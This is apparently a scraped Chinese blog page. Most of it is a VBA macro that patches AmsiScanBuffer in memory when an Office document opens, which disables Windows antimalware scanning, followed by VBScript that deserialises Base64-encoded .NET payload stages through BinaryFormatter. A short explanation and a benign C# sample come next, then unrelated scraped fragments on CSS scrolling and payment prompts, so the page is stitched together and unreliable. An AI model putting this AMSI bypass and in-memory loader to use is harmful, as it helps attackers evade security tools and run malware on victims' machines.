Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtrPrivate Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtrPrivate Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As LongPrivate Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)Private Sub Document_Open() Dim AmsiDLL As LongPtr Dim AmsiScanBufferAddr As LongPtr Dim result As Long Dim MyByteArray(6) As Byte Dim ArrayPointer As LongPtr MyByteArray(0) = 184 ' 0xB8 MyByteArray(1) = 87 ' 0x57 MyByteArray(2) = 0 ' 0x00 MyByteArray(3) = 7 ' 0x07 MyByteArray(4) = 128 ' 0x80 MyByteArray(5) = 195 ' 0xC3 AmsiDLL = LoadLibrary("amsi.dll") AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer") result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0) ArrayPointer = VarPtr(MyByteArray(0)) CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6 End Sub
Function Base64ToStream(b,l) Dim enc, length, transform, ms Set enc = CreateObject("System.Text.ASCIIEncoding") length = enc.GetByteCount_2(b) Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform") Set ms = CreateObject("System.IO.MemoryStream") ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, l ms.Position = 0 Set Base64ToStream = msEnd FunctionDim shellSet shell = CreateObject("WScript.Shell")Dim verver = "v4.0.30319"On Error Resume Nextshell.RegRead "HKLMSOFTWAREMicrosoft.NETFramework4.0.30319"If Err.Number 0 Then ver = "v2.0.50727" Err.ClearEnd Ifshell.Environment("Process").Item("COMPLUS_Version") = verDim fmt_1Set fmt_1 = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")fmt_1.Deserialize_2(Base64ToStream(stage_1, 2341))If Err.Number 0 Then Dim fmt_2 Set fmt_2 = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") fmt_2.Deserialize_2(Base64ToStream(stage_2, 12424))End If
即使用COM 组件反序列化 Base64 编码的 .NET 对象。其代码结构解释如下：
即BinaryFormatter的反序列化加载。假设有下面的代码：
代码语言：javascript代码运行次数：0运行复制
using System;using System.Windows.Forms;namespace Test{ public class Program { public Program() { MessageBox.Show("Hello, World!"); } }}
给滚动元素平滑过渡 如何在滚动条属性（scrollleft）发生改变时为元素添加平滑的过渡效果？ 解决方案：scroll-behavior 属性 为滚动容器设置 scroll-behavior 属性可以实现平滑滚动。 html 代码： click the button to slide right!…
如何在前端实现 Windows 10 设置界面中的鼠标移动探照灯效果 想要在前端开发中实现 Windows 10 设置界面中类似的鼠标移动探照灯效果，可以通过以下途径： CSS 解决方案 DEMO 1: Windows 10 网格悬停效果：https://codepen.io/tr4553r7/pe…
PatentPal专利申请写作
微信扫一扫 
支付宝扫一扫 
